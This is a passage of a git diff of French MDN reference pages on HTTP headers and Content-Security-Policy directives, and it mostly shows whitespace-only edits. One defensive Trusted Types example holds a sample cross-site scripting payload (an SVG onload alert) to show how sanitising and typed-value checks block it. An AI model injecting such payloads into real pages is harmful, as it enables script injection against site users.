`filename*` diffèrent uniquement en ce que `filename*` utilise l'encodage défini dans la RFC 5987. Lorsque `filename` et `filename*` sont présents dans une seule valeur de champ d'en-tête, `filename*` est préféré à `filename` lorsque les deux sont présents et compris. +Les paramètres `filename` et `filename*` diffèrent uniquement en ce que `filename*` utilise l'encodage défini dans la RFC 5987. Lorsque `filename` et `filename*` sont présents dans une seule valeur de champ d'en-tête, `filename*` est préféré à `filename` lorsque les deux sont présents et compris. ## Exemples -Une réponse déclanchant le dialogue "Enregistrer sous": +Une réponse déclanchant le dialogue "Enregistrer sous": ```html 200 OK @@ -120,7 +120,7 @@ Un exemple de formulaire HTML, publié à l'aide du format `multipart / form-dat ## Notes de compatibilité -- Firefox 5 gère l'en-tête de réponse HTTP `Content-Disposition` plus efficacement si les deux paramètres du nom de fichier et du nom de fichier sont fournis. Il examine tous les noms fournis, en utilisant le paramètre \* du nom de fichier, s'il est disponible, même si un paramètre de nom de fichier est inclus en premier. Auparavant, le premier paramètre correspondant serait utilisé, empêchant ainsi un nom plus approprié d'être utilisé. Voir {{bug (588781)}}. +- Firefox 5 gère l'en-tête de réponse HTTP `Content-Disposition` plus efficacement si les deux paramètres du nom de fichier et du nom de fichier sont fournis. Il examine tous les noms fournis, en utilisant le paramètre \* du nom de fichier, s'il est disponible, même si un paramètre de nom de fichier est inclus en premier. Auparavant, le premier paramètre correspondant serait utilisé, empêchant ainsi un nom plus approprié d'être utilisé. Voir {{bug (588781)}}. ## Voir également diff --git a/files/fr/web/http/headers/content-encoding/index.md b/files/fr/web/http/headers/content-encoding/index.md index e40e23a9c4..e3a45dc30d 100644 --- a/files/fr/web/http/headers/content-encoding/index.md +++ b/files/fr/web/http/headers/content-encoding/index.md @@ -9,9 +9,9 @@ translation_of: Web/HTTP/Headers/Content-Encoding --- {{HTTPSidebar}} -L'en-tête **`Content-Encoding`** indique la compression utilisée sur le média contenu dans le corps de la requête. Il permet au client de savoir comment décoder le contenu afin d'obtenir le type de média référencé par l'entête `Content-Type`. +L'en-tête **`Content-Encoding`** indique la compression utilisée sur le média contenu dans le corps de la requête. Il permet au client de savoir comment décoder le contenu afin d'obtenir le type de média référencé par l'entête `Content-Type`. -Il est recommandé de compresser les données autant que possible et donc d'utiliser cet en-tête. Toutefois, certains types de fichiers, comme les images jpeg, sont déjà compressés. Parfois, l'utilisation d'une compression supplémentaire ne réduit pas la taille de la chage utile et peut même la rendre plus longue. +Il est recommandé de compresser les données autant que possible et donc d'utiliser cet en-tête. Toutefois, certains types de fichiers, comme les images jpeg, sont déjà compressés. Parfois, l'utilisation d'une compression supplémentaire ne réduit pas la taille de la chage utile et peut même la rendre plus longue. <table class="properties"> <tbody> @@ -45,15 +45,15 @@ Il est recommandé de compresser les données autant que possible et donc d'util ## Directives - `gzip` - - : Un format utilisant le [codage Lempel-Ziv](http://en.wikipedia.org/wiki/LZ77_and_LZ78#LZ77) (LZ77), avec un CRC de 32 bits. Il s'agit du format original pour le programme UNIX _gzip_. La norme HTTP/1.1 recommande également que les serveurs prenant en charge cet encodage reconnaissent `x-gzip` comme alias, à des fins de compatibilité. + - : Un format utilisant le [codage Lempel-Ziv](http://en.wikipedia.org/wiki/LZ77_and_LZ78#LZ77) (LZ77), avec un CRC de 32 bits. Il s'agit du format original pour le programme UNIX _gzip_. La norme HTTP/1.1 recommande également que les serveurs prenant en charge cet encodage reconnaissent `x-gzip` comme alias, à des fins de compatibilité. - `compress` - - : Un format utilisant l'algorithme [Lempel-Ziv-Welch](http://en.wikipedia.org/wiki/LZW) (LZW). Le nom de la valeur a été tiré du programme de compression UNIX, qui a mis en œuvre cet algorithme. Comme le programme de compression, qui a disparu de la plupart des distributions UNIX, ce codage de contenu n'est pas utilisé par de nombreux navigateurs aujourd'hui, en partie à cause d'un problème de brevet (il a expiré en 2003). + - : Un format utilisant l'algorithme [Lempel-Ziv-Welch](http://en.wikipedia.org/wiki/LZW) (LZW). Le nom de la valeur a été tiré du programme de compression UNIX, qui a mis en œuvre cet algorithme. Comme le programme de compression, qui a disparu de la plupart des distributions UNIX, ce codage de contenu n'est pas utilisé par de nombreux navigateurs aujourd'hui, en partie à cause d'un problème de brevet (il a expiré en 2003). - `deflate` - : Utilisant la structure [zlib](http://en.wikipedia.org/wiki/Zlib) (définie dans la [RFC 1950](http://tools.ietf.org/html/rfc1950)) avec l'algorithme de compression _[deflate](http://en.wikipedia.org/wiki/DEFLATE)_ (défini dans la [RFC 1951](http://tools.ietf.org/html/rfc1951)). - `identity` - : Indicates the identity function (c'est-à-dire qu'il n'y a eu aucune compression ou modification). Sauf mention contraire, cette valeur est toujours considérée comme acceptable. - `br` - - : Un format utilisant l'algorithme de [Brotli](https://en.wikipedia.org/wiki/Brotli). + - : Un format utilisant l'algorithme de [Brotli](https://en.wikipedia.org/wiki/Brotli). ## Exemples diff --git a/files/fr/web/http/headers/content-language/index.md b/files/fr/web/http/headers/content-language/index.md index 3430f8620e..6ce7a14bd5 100644 --- a/files/fr/web/http/headers/content-language/index.md +++ b/files/fr/web/http/headers/content-language/index.md @@ -11,11 +11,11 @@ translation_of: Web/HTTP/Headers/Content-Language --- {{HTTPSidebar}} -L'en-tête **`Content-Language`** est utilisé pour décrire quels langages sont destinés au public, de sorte que cela permette à l'utilisateur de se différencier en fonction de la langue préférée des utilisateurs. +L'en-tête **`Content-Language`** est utilisé pour décrire quels langages sont destinés au public, de sorte que cela permette à l'utilisateur de se différencier en fonction de la langue préférée des utilisateurs. -Par exemple, si "`Content-Language: de-DE`" est mis en place, cela signifie que la page est destinée à un public parlant l'allemand (par contre, cela n'indique pas que la page est écrite en allemand. Par exemple, elle pourrait être écrite en anglais dans le cadre d'un cours de langue destiné aux allemands). +Par exemple, si "`Content-Language: de-DE`" est mis en place, cela signifie que la page est destinée à un public parlant l'allemand (par contre, cela n'indique pas que la page est écrite en allemand. Par exemple, elle pourrait être écrite en anglais dans le cadre d'un cours de langue destiné aux allemands). -Si l'en-tête `Content-Language` n'est pas spécifié, par défaut, cela signifie que la page est destinée à tout public de langue. Plusieurs tags de langue sont également possibles, ainsi que la mise en place de l'en-tête `Content-Language` pour dfférents types de médias, et pas seulement pour les documents texte. +Si l'en-tête `Content-Language` n'est pas spécifié, par défaut, cela signifie que la page est destinée à tout public de langue. Plusieurs tags de langue sont également possibles, ainsi que la mise en place de l'en-tête `Content-Language` pour dfférents types de médias, et pas seulement pour les documents texte. <table class="properties"> <tbody> @@ -40,8 +40,8 @@ Si l'en-tête `Content-Language` n'est pas spécifié, par défaut, cela signif <td> Oui, avec comme restriction supplémentaire que les valeurs ne peuvent contenir que les - caractères <code>0-9</code>, <code>A-Z</code>, <code>a-z</code>, - l'espace ou <code>*,-.;=</code>. + caractères <code>0-9</code>, <code>A-Z</code>, <code>a-z</code>, + l'espace ou <code>*,-.;=</code>. </td> </tr> </tbody> @@ -56,7 +56,7 @@ Si l'en-tête `Content-Language` n'est pas spécifié, par défaut, cela signif ## Directives - `language-tag` - - : Plusieurs tags de langue sont séparés par paragraphe. Chaque tag de langue est une séquence d'un ou plusieurs sous-tags insensibles à la casse, chacun séparé par un tiret ("`-`", `%x2D`). Dans la plupart des cas, un tag de langue se compose d'un sous-tag de langue principal qui identifie une large famille de langues connexes (par exemple, «en» = anglais), suivi éventuellement d'une série de sous-tags qui affinent ou réduisent la variété de langue. (par exemple, "en-CA" = la variété d'anglais telle que communiquée au Canada). + - : Plusieurs tags de langue sont séparés par paragraphe. Chaque tag de langue est une séquence d'un ou plusieurs sous-tags insensibles à la casse, chacun séparé par un tiret ("`-`", `%x2D`). Dans la plupart des cas, un tag de langue se compose d'un sous-tag de langue principal qui identifie une large famille de langues connexes (par exemple, «en» = anglais), suivi éventuellement d'une série de sous-tags qui affinent ou réduisent la variété de langue. (par exemple, "en-CA" = la variété d'anglais telle que communiquée au Canada). > **Note :** Les tags de langues sont formellement définis dans la RFC 5646, qui repose sur la norme ISO 639 (très souvent la liste de codes ISO 639-1) pour les codes de langue à utiliser. @@ -64,7 +64,7 @@ Si l'en-tête `Content-Language` n'est pas spécifié, par défaut, cela signif ### Indiquer la langue dans laquelle un document est écrit -L'attribut global [`lang`](/fr/docs/Web/HTML/Global_attributes/lang) est utilisé sur des éléments HTML pour indiquer la langue d'une page HTML entière ou une partie de celle-ci. +L'attribut global [`lang`](/fr/docs/Web/HTML/Global_attributes/lang) est utilisé sur des éléments HTML pour indiquer la langue d'une page HTML entière ou une partie de celle-ci. ```html <html lang="de"> @@ -79,7 +79,7 @@ L'attribut global [`lang`](/fr/docs/Web/HTML/Global_attributes/lang) est utili ### Indiquer un public cible pour une ressource -L'en-tête `Content-Language` est utilisé pour spécifier le public destiné à la page, et peut indiquer si cela est plus qu'une seule langue. +L'en-tête `Content-Language` est utilisé pour spécifier le public destiné à la page, et peut indiquer si cela est plus qu'une seule langue. Content-Language: de, en @@ -97,4 +97,4 @@ L'en-tête `Content-Language` est utilisé pour spécifier le public destiné - {{HTTPHeader("Accept-Language")}} - [HTTP headers, meta elements and language information](https://www.w3.org/International/questions/qa-http-and-lang.en) -- [HTML `lang` attribute](/fr/docs/Web/HTML/Global_attributes/lang) +- [HTML `lang` attribute](/fr/docs/Web/HTML/Global_attributes/lang) diff --git a/files/fr/web/http/headers/content-security-policy/block-all-mixed-content/index.md b/files/fr/web/http/headers/content-security-policy/block-all-mixed-content/index.md index 02b2d4f27a..e90933cf4e 100644 --- a/files/fr/web/http/headers/content-security-policy/block-all-mixed-content/index.md +++ b/files/fr/web/http/headers/content-security-policy/block-all-mixed-content/index.md @@ -19,7 +19,7 @@ La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`block-all-m Toutes les requêtes vers des [contenus mixtes](/fr/docs/Sécurité/MixedContent) sont alors bloquées, y compris les ressources actives et passives. Cela s'applique aussi aux documents {{HTMLElement("iframe")}}, assurant que la page est complètement protégée contre les contenus mixtes. -> **Note :** La directive {{CSP("upgrade-insecure-requests")}} est évaluée avant `block-all-mixed-content`. Si elle est définie, alors `block-all-mixed-content` n'est pas nécessaire, à moins que vous souhaitiez forcer HTTPS sur les anciens navigateurs qui ne le font pas après une redirection vers HTTP. +> **Note :** La directive {{CSP("upgrade-insecure-requests")}} est évaluée avant `block-all-mixed-content`. Si elle est définie, alors `block-all-mixed-content` n'est pas nécessaire, à moins que vous souhaitiez forcer HTTPS sur les anciens navigateurs qui ne le font pas après une redirection vers HTTP. ## Syntaxe diff --git a/files/fr/web/http/headers/content-security-policy/index.md b/files/fr/web/http/headers/content-security-policy/index.md index 52c2524f8a..27d6d09dd5 100644 --- a/files/fr/web/http/headers/content-security-policy/index.md +++ b/files/fr/web/http/headers/content-security-policy/index.md @@ -41,7 +41,7 @@ Les directives de récupération (ou _fetch directives_ en anglais) contrôlent - {{CSP("child-src")}} - : Définit les sources valides pour les [web workers](/fr/docs/Web/API/Web_Workers_API) et les éléments qui représentent des contextes de navigation imbriqués tels que {{HTMLElement("frame")}} et {{HTMLElement("iframe")}}. -> **Attention :** Plutôt que la directive **`child-src`**, si vous souhaitez réguler les contextes de navigation imbriqués et les workers séparément, vous pouvez utiliser respectivement les directives {{CSP("frame-src")}} et {{CSP("worker-src")}}. +> **Attention :** Plutôt que la directive **`child-src`**, si vous souhaitez réguler les contextes de navigation imbriqués et les workers séparément, vous pouvez utiliser respectivement les directives {{CSP("frame-src")}} et {{CSP("worker-src")}}. - {{CSP("connect-src")}} - : Restreint les URL qui peuvent être chargées via des scripts. @@ -97,7 +97,7 @@ Les directives de navigation permettent par exemple de paramétrer les emplaceme - {{CSP("form-action")}} - : Restreint les URL qui peuvent être utilisées comme cibles pour envoyer des formulaires depuis un contexte donné. - {{CSP("frame-ancestors")}} - - : Définit les parent valides qui peuvent intégrer une page grâce aux éléments {{HTMLElement("frame")}}, {{HTMLElement("iframe")}}, {{HTMLElement("object")}}, {{HTMLElement("embed")}}, ou {{HTMLElement("applet")}}. + - : Définit les parent valides qui peuvent intégrer une page grâce aux éléments {{HTMLElement("frame")}}, {{HTMLElement("iframe")}}, {{HTMLElement("object")}}, {{HTMLElement("embed")}}, ou {{HTMLElement("applet")}}. - {{CSP("navigate-to")}}{{experimental_inline}} - : Restreint les URL vers lesquelles on peut naviguer depuis un document, quel que soit le moyen de navigation (un lien, un formulaire, `window.location`, `window.open`, etc.) @@ -177,12 +177,12 @@ Pour plus d'exemples, consulter [les recommandations de Mozilla pour la sécurit | Spécification | État | Commentaires | | -------------------------------------------------------- | ---------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| {{specName("CSP 3.0")}} | {{Spec2('CSP 3.0')}} | Ajout de `manifest-src`, `navigation-to`, `report-to`, `strict-dynamic`, `worker-src`. `frame-src` n'est plus déprécié. `report-uri` est déprécié au profit de `report-to`. | +| {{specName("CSP 3.0")}} | {{Spec2('CSP 3.0')}} | Ajout de `manifest-src`, `navigation-to`, `report-to`, `strict-dynamic`, `worker-src`. `frame-src` n'est plus déprécié. `report-uri` est déprécié au profit de `report-to`. | | {{specName("Mixed Content")}} | {{Spec2("Mixed Content")}} | Ajout de `block-all-mixed-content`. | | {{specName("Subresource Integrity")}} | {{Spec2("Subresource Integrity")}} | Ajout de `require-sri-for`. | | {{specName("Upgrade Insecure Requests")}} | {{Spec2("Upgrade Insecure Requests")}} | Ajout de `upgrade-insecure-requests`. | | {{specName("CSP 1.1")}} | {{Spec2("CSP 1.1")}} | Ajout de `base-uri`, `child-src`, `form-action`, `frame-ancestors`, `plugin-types`, `referrer`, `reflected-xss` et `report-uri`. Dépréciation de `frame-src`. | -| {{specName("CSP 1.0")}} | {{Spec2("CSP 1.0")}} | Définition de `connect-src`, `default-src`, `font-src`, `frame-src`, `img-src`, `media-src`, `object-src`, report-uri, `sandbox`, `script-src` et `style-src`. | +| {{specName("CSP 1.0")}} | {{Spec2("CSP 1.0")}} | Définition de `connect-src`, `default-src`, `font-src`, `frame-src`, `img-src`, `media-src`, `object-src`, report-uri, `sandbox`, `script-src` et `style-src`. | ## Compatibilité des navigateurs diff --git a/files/fr/web/http/headers/content-security-policy/require-trusted-types-for/index.md b/files/fr/web/http/headers/content-security-policy/require-trusted-types-for/index.md index aa47591d59..33aedae242 100644 --- a/files/fr/web/http/headers/content-security-policy/require-trusted-types-for/index.md +++ b/files/fr/web/http/headers/content-security-policy/require-trusted-types-for/index.md @@ -15,7 +15,7 @@ translation_of: Web/HTTP/Headers/Content-Security-Policy/require-trusted-types-f --- {{HTTPSidebar}} -La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`require-trusted-types-for`** {{experimental_inline}} directive informe l'agent utilisateur de contrôler les données passées au puits de fonctions XSS du DOM, tel que le mutateur [Element.innerHTML](/en-US/docs/Web/API/Element/innerHTML). +La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`require-trusted-types-for`** {{experimental_inline}} directive informe l'agent utilisateur de contrôler les données passées au puits de fonctions XSS du DOM, tel que le mutateur [Element.innerHTML](/en-US/docs/Web/API/Element/innerHTML). Lors de leur usage, ces fonctions n'acceptent que des valeurs typées et non falsifiables créées par des règles de Trusted Type et rejettent les chaines de caractère. Conjointement à la directive **[`trusted-types`](/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/trusted-types)**, qui empêche la création de règles de Trusted Type, cette directive permet aux auteurs de définir des règles empêchant d'écrire des données dans le DOM et donc de réduire la fenêtre de tir pour les attaques XSS sur le DOM à quelques pans isolés de la base de code d'une application, facilitant donc son contrôle et sa relecture. @@ -35,14 +35,14 @@ const attackerInput = '<svg onload="alert(/cross-site-scripting/)" />'; const el = document.createElement('div'); if (typeof trustedTypes !== 'undefined') { - // Create a policy that can create TrustedHTML values + // Create a policy that can create TrustedHTML values // after sanitizing the input strings with DOMPurify library. - const sanitizer = trustedTypes.createPolicy('foo', { - createHTML: (input) => DOMPurify.sanitize(input) - }); + const sanitizer = trustedTypes.createPolicy('foo', { + createHTML: (input) => DOMPurify.sanitize(input) + }); - el.innerHTML = sanitizer.createHTML(attackerInput); // Puts the sanitized value into the DOM. - el.innerHTML = attackerInput; // Rejects a string value; throws a TypeError. + el.innerHTML = sanitizer.createHTML(attackerInput); // Puts the sanitized value into the DOM. + el.innerHTML = attackerInput; // Rejects a string value; throws a TypeError. } ``` diff --git a/files/fr/web/http/headers/content-security-policy/script-src-attr/index.md b/files/fr/web/http/headers/content-security-policy/script-src-attr/index.md index e0d25ed7db..df4f947f1f 100644 --- a/files/fr/web/http/headers/content-security-policy/script-src-attr/index.md +++ b/files/fr/web/http/headers/content-security-policy/script-src-attr/index.md @@ -18,7 +18,7 @@ translation_of: Web/HTTP/Headers/Content-Security-Policy/script-src-attr --- {{HTTPSidebar}} -La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`script-src-attr`** spécifie les sources valides pour du code JavaScript embarqué dans des éléments {{HTMLElement("script")}} ou dans des gestionnaires d'évènements par attribut comme `onclick`, mais non les URL chargées par des éléments {{HTMLElement("script")}}. +La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`script-src-attr`** spécifie les sources valides pour du code JavaScript embarqué dans des éléments {{HTMLElement("script")}} ou dans des gestionnaires d'évènements par attribut comme `onclick`, mais non les URL chargées par des éléments {{HTMLElement("script")}}. <table class="properties"> <tbody> @@ -48,7 +48,7 @@ Une ou plusieurs sources peuvent être autorisées pour cette directive : Content-Security-Policy: script-src-attr <source>; Content-Security-Policy: script-src-attr <source> <source>; -`script-src-attr` peut être utilisée conjointement à {{CSP("script-src")}} : +`script-src-attr` peut être utilisée conjointement à {{CSP("script-src")}} : Content-Security-Policy: script-src <source>; Content-Security-Policy: script-src-attr <source>; diff --git a/files/fr/web/http/headers/content-security-policy/script-src/index.md b/files/fr/web/http/headers/content-security-policy/script-src/index.md index 03f6414e8c..beaac9c5cd 100644 --- a/files/fr/web/http/headers/content-security-policy/script-src/index.md +++ b/files/fr/web/http/headers/content-security-policy/script-src/index.md @@ -96,13 +96,13 @@ Cette directive CSP autorisera tous les scripts {{HTMLElement("script")}} embarq </script> ``` -Vous pouvez aussi utiliser un nonce pour autoriser spécifiquement certains éléments {{HTMLElement("script")}} embarqués : +Vous pouvez aussi utiliser un nonce pour autoriser spécifiquement certains éléments {{HTMLElement("script")}} embarqués : ```bash Content-Security-Policy: script-src 'nonce-2726c7f26c' ``` -Vous devrez alors définir ce nonce sur l'élément {{HTMLElement("script")}} : +Vous devrez alors définir ce nonce sur l'élément {{HTMLElement("script")}} : ```html <script nonce="2726c7f26c"> diff --git a/files/fr/web/http/headers/content-security-policy/style-src/index.md b/files/fr/web/http/headers/content-security-policy/style-src/index.md index 60d4956741..858f84b371 100644 --- a/files/fr/web/http/headers/content-security-policy/style-src/index.md +++ b/files/fr/web/http/headers/content-security-policy/style-src/index.md @@ -121,7 +121,7 @@ Cette directive CSP autorisera toutes les feuilles de styles embarquées telles <div style="display:none">Foo</div> ``` -Vous pouvez aussi utiliser un nonce pour autoriser spécifiquement certains éléments {{HTMLElement("style")}} : +Vous pouvez aussi utiliser un nonce pour autoriser spécifiquement certains éléments {{HTMLElement("style")}} : ```bash Content-Security-Policy: style-src 'nonce-2726c7f26c' diff --git a/files/fr/web/http/headers/content-security-policy/trusted-types/index.md b/files/fr/web/http/headers/content-security-policy/trusted-types/index.md index dd9d6cd0e5..4773ef4c8c 100644 --- a/files/fr/web/http/headers/content-security-policy/trusted-types/index.md +++ b/files/fr/web/http/headers/content-security-policy/trusted-types/index.md @@ -26,7 +26,7 @@ Conjointement à la directive [`require-trusted-types-for`](/en-US/docs/Web/HTTP Content-Security-Policy: trusted-types <policyName> <policyName> 'allow-duplicates'; - \<nomRègle> - - : Un nom de règle est composé de caractères alphanumériques ou d'un ou plusieurs "`-#=_/@.%`". Une astérisque (`*`) comme nom de règle informe l'agent utilisateur d'autoriser tout nom de règle unique (quoique la valeur `'allow-duplicates'` pourrait permettre d'être plus laxiste à l'avenir). + - : Un nom de règle est composé de caractères alphanumériques ou d'un ou plusieurs "`-#=_/@.%`". Une astérisque (`*`) comme nom de règle informe l'agent utilisateur d'autoriser tout nom de règle unique (quoique la valeur `'allow-duplicates'` pourrait permettre d'être plus laxiste à l'avenir). - `'none'` - : Interdit la création de toute règle de Trusted Type (identique au fait de ne renseigner aucun nom de règle). - `'allow-duplicates'` @@ -42,9 +42,9 @@ Ce code génèrera une erreur car une des règles créées a un nom non autoris ```js if (typeof trustedTypes !== 'undefined') { - const policyFoo = trustedTypes.createPolicy('foo', {}); - const policyFoo2 = trustedTypes.createPolicy('foo', {}); - const policyBaz = trustedTypes.createPolicy('baz', {}); // Throws and dispatches a SecurityPolicyViolationEvent. + const policyFoo = trustedTypes.createPolicy('foo', {}); + const policyFoo2 = trustedTypes.createPolicy('foo', {}); + const policyBaz = trustedTypes.createPolicy('baz', {}); // Throws and dispatches a SecurityPolicyViolationEvent. } ``` diff --git a/files/fr/web/http/headers/content-security-policy/upgrade-insecure-requests/index.md b/files/fr/web/http/headers/content-security-policy/upgrade-insecure-requests/index.md index 8fed1ecd6c..bdc6da5401 100644 --- a/files/fr/web/http/headers/content-security-policy/upgrade-insecure-requests/index.md +++ b/files/fr/web/http/headers/content-security-policy/upgrade-insecure-requests/index.md @@ -53,7 +53,7 @@ Ces URL seront récrites avant que la requête soit envoyée, signifiant qu'aucu <img src="https://not-example.com/image.png"> ``` -Les conversions navigationnelles vers des ressources externes amènent un risque significatif de dysfonctionnement étant donné que des requêtes peuvent n'être pas converties, par exemple celles-ci : +Les conversions navigationnelles vers des ressources externes amènent un risque significatif de dysfonctionnement étant donné que des requêtes peuvent n'être pas converties, par exemple celles-ci : ```html <a href="https://example.com/">Home</a> diff --git a/files/fr/web/http/headers/content-type/index.md b/files/fr/web/http/headers/content-type/index.md index 98180e8867..9d1e9fc63f 100644 --- a/files/fr/web/http/headers/content-type/index.md +++ b/files/fr/web/http/headers/content-type/index.md @@ -60,7 +60,7 @@ Dans une requête {{HTTPMethod("POST")}}, qui vient d'une soumission d'un formul </form> ``` -La requête ressemble à peu près à ceci (les en-têtes moins intéressants ont été ici volontairement omis) : +La requête ressemble à peu près à ceci (les en-têtes moins intéressants ont été ici volontairement omis) : POST /toto HTTP/1.1 Content-Length: 68137 diff --git a/files/fr/web/http/headers/expires/index.md b/files/fr/web/http/headers/expires/index.md index 4c8a3935f9..8fbb6f71cd 100644 --- a/files/fr/web/http/headers/expires/index.md +++ b/files/fr/web/http/headers/expires/index.md @@ -5,11 +5,11 @@ translation_of: Web/HTTP/Headers/Expires --- {{HTTPSidebar}} -Le header **`Expires`** contient la date/heure après laquelle la réponse est considérée comme dépréciée. +Le header **`Expires`** contient la date/heure après laquelle la réponse est considérée comme dépréciée. -Les dates invalides, telles que la valeur 0, représentent une date dans le passé et signifient que la ressource est expirée. +Les dates invalides, telles que la valeur 0, représentent une date dans le passé et signifient que la ressource est expirée. -Si un header {{HTTPHeader("Cache-Control")}} contient une directive "max-age" ou "s-max-age" dans la réponse, le header `Expires` sera ignoré. +Si un header {{HTTPHeader("Cache-Control")}} contient une directive "max-age" ou "s-max-age" dans la réponse, le header `Expires` sera ignoré. <table class="properties"> <tbody> diff --git a/files/fr/web/http/headers/feature-policy/index.md b/files/fr/web/http/headers/feature-policy/index.md index fd3b52178a..089612d0f2 100644 --- a/files/fr/web/http/headers/feature-policy/index.md +++ b/files/fr/web/http/headers/feature-policy/index.md @@ -16,7 +16,7 @@ translation_of: Web/HTTP/Headers/Feature-Policy --- {{HTTPSidebar}} -L'en-tête HTTP **`Feature-Policy`** est un mécanisme permettant de permettre ou d'interdire l'utilisation de fonctionnalités du navigateur dans son propre cadre et dans ceux de tous les éléments {{HTMLElement("iframe")}} que le document contient. +L'en-tête HTTP **`Feature-Policy`** est un mécanisme permettant de permettre ou d'interdire l'utilisation de fonctionnalités du navigateur dans son propre cadre et dans ceux de tous les éléments {{HTMLElement("iframe")}} que le document contient. > **Note :** Cet en-tête est toujours au stade expérimental, et est sujet à être modifié à tout moment. Méfiez-vous en si vous souhaitez l'implanter sur vos sites. Il a maintenant été renommé `Permissions-Policy` dans la spécification, et cet article sera mis à jour pour refléter ce changement. diff --git a/files/fr/web/http/headers/if-none-match/index.md b/files/fr/web/http/headers/if-none-match/index.md index e7946d0c4d..1d8f6e0dda 100644 --- a/files/fr/web/http/headers/if-none-match/index.md +++ b/files/fr/web/http/headers/if-none-match/index.md @@ -9,18 +9,18 @@ tags: - Requêtes Conditionnelles translation_of: Web/HTTP/Headers/If-None-Match --- -L'en-tête de requête HTTP **`If-None-Match`** permet de conditionner la requête. Pour les méthodes {{HTTPMethod("GET")}} et {{HTTPMethod("HEAD")}}, le serveur renvoie la ressource demandée, avec un statut {{HTTPStatus("200")}}, seulement si elle n'a pas un {{HTTPHeader("ETag")}} correspondant à ceux fournis. Pour les autres méthodes, la requête ne sera traitée que si l'{{HTTPHeader("ETag")}} de l'éventuelle ressource existante ne correspond à aucune des valeurs listées. +L'en-tête de requête HTTP **`If-None-Match`** permet de conditionner la requête. Pour les méthodes {{HTTPMethod("GET")}} et {{HTTPMethod("HEAD")}}, le serveur renvoie la ressource demandée, avec un statut {{HTTPStatus("200")}}, seulement si elle n'a pas un {{HTTPHeader("ETag")}} correspondant à ceux fournis. Pour les autres méthodes, la requête ne sera traitée que si l'{{HTTPHeader("ETag")}} de l'éventuelle ressource existante ne correspond à aucune des valeurs listées. -Quand la condition échoue pour les méthodes {{HTTPMethod("GET")}} et {{HTTPMethod("HEAD")}}, le serveur doit retourner un code statut HTTP 304 (Not Modified). Pour les méthodes appliquant des changements côté serveur, le code statut 412 (Precondition Failed) est utilisé. Notez que le serveur générant une réponse 304 DOIT générer toutes les en-têtes qui auraient été envoyées avec une réponse 200 (OK) à la même requête : Cache-Control, Content-Location, Date, ETag, Expires, and Vary. +Quand la condition échoue pour les méthodes {{HTTPMethod("GET")}} et {{HTTPMethod("HEAD")}}, le serveur doit retourner un code statut HTTP 304 (Not Modified). Pour les méthodes appliquant des changements côté serveur, le code statut 412 (Precondition Failed) est utilisé. Notez que le serveur générant une réponse 304 DOIT générer toutes les en-têtes qui auraient été envoyées avec une réponse 200 (OK) à la même requête : Cache-Control, Content-Location, Date, ETag, Expires, and Vary. La comparaison avec l'{{HTTPHeader("ETag")}} stocké utilise l'_algorithme de comparaison faible_, c'est-à-dire que 2 fichiers sont considérés identiques pas seulement s'ils sont identiques octet à octet mais si leurs contenus sont équivalents. Par exemple, 2 pages dont seule la date de génération dans le pied de page diffère seraient considérées identiques. -Quand utilisé avec {{HTTPHeader("If-Modified-Since")}}, il a la priorité (si le serveur le supporte). +Quand utilisé avec {{HTTPHeader("If-Modified-Since")}}, il a la priorité (si le serveur le supporte). Il y a 2 cas d'utilisation communs: - Pour les méthodes {{HTTPMethod("GET")}} and {{HTTPMethod("HEAD")}}, pour mettre à jour une entité en cache qui a un {{HTTPHeader("ETag")}} associé. -- Pour les autres méthodes, et en particulier pour {{HTTPMethod("PUT")}}, `If-None-Match` avec pour valeur `*` peut être utilisé pour sauver un fichier dont on ne sait pas s'il existe, garantissant qu'un autre téléversement n'a pas été fait avant, perdant les données du précédent chargement ; ce problème est une variation du [problème de la mise à jour perdue](https://www.w3.org/1999/04/Editing/#3.1). +- Pour les autres méthodes, et en particulier pour {{HTTPMethod("PUT")}}, `If-None-Match` avec pour valeur `*` peut être utilisé pour sauver un fichier dont on ne sait pas s'il existe, garantissant qu'un autre téléversement n'a pas été fait avant, perdant les données du précédent chargement ; ce problème est une variation du [problème de la mise à jour perdue](https://www.w3.org/1999/04/Editing/#3.1). <table class="properties"> <tbody> @@ -44,9 +44,9 @@ Il y a 2 cas d'utilisation communs: ## Directives - \<etag_value> - - : Des tags d'entité représentant de façon unique les ressources demandées. Ce sont des chaînes de caractères ASCII entre guillemets doubles (comme `"675af34563dc-tr34"`) et peuvent être préfixés par `W/` pour indiquer que l'algorithme de comparaison faible doit être utilisé (inutile avec `If-None-Match` car il n'utilise que cet algorithme). + - : Des tags d'entité représentant de façon unique les ressources demandées. Ce sont des chaînes de caractères ASCII entre guillemets doubles (comme `"675af34563dc-tr34"`) et peuvent être préfixés par `W/` pour indiquer que l'algorithme de comparaison faible doit être utilisé (inutile avec `If-None-Match` car il n'utilise que cet algorithme). - `*` - - : L'astérisque est une valeur spéciale représentant toute ressource. Ils ne sont utilies que quand on téléverse une ressource, habituellement avec {{HTTPMethod("PUT")}}, pour vérifier si une autre ressource avec cette identité a déjà été téléversée avant. + - : L'astérisque est une valeur spéciale représentant toute ressource. Ils ne sont utilies que quand on téléverse une ressource, habituellement avec {{HTTPMethod("PUT")}}, pour vérifier si une autre ressource avec cette identité a déjà été téléversée avant. ## Exemples diff --git a/files/fr/web/http/headers/index.md b/files/fr/web/http/headers/index.md index 6fd48ff501..6bea2c6ae5 100644 --- a/files/fr/web/http/headers/index.md +++ b/files/fr/web/http/headers/index.md @@ -14,7 +14,7 @@ translation_of: Web/HTTP/Headers Les en-têtes HTTP permettent au client et au serveur de transmettre des informations supplémentaires avec la requête ou la réponse. Un en-tête de requête est constitué de son nom (insensible à la casse) suivi d'un deux-points `:`, puis de sa valeur (sans saut de ligne). L'espace blanc avant la valeur est ignoré. -Des en-têtes propriétaires personnalisés peuvent être ajoutés en utilisant le préfixe `X-`, mais cette convention a été abandonnée en juin 2012, en raison des inconvénients qu'elle a présenté lorsque des champs non standard sont devenus standard dans [RFC 6648](https://tools.ietf.org/html/rfc6648); les autres en-têtes possibles sont listés dans une [liste IANA](https://www.iana.org/assignments/message-headers/message-headers.xhtml) et ont été définis dans la [RFC 4229](https://tools.ietf.org/html/rfc4229). IANA maintient également une [liste des 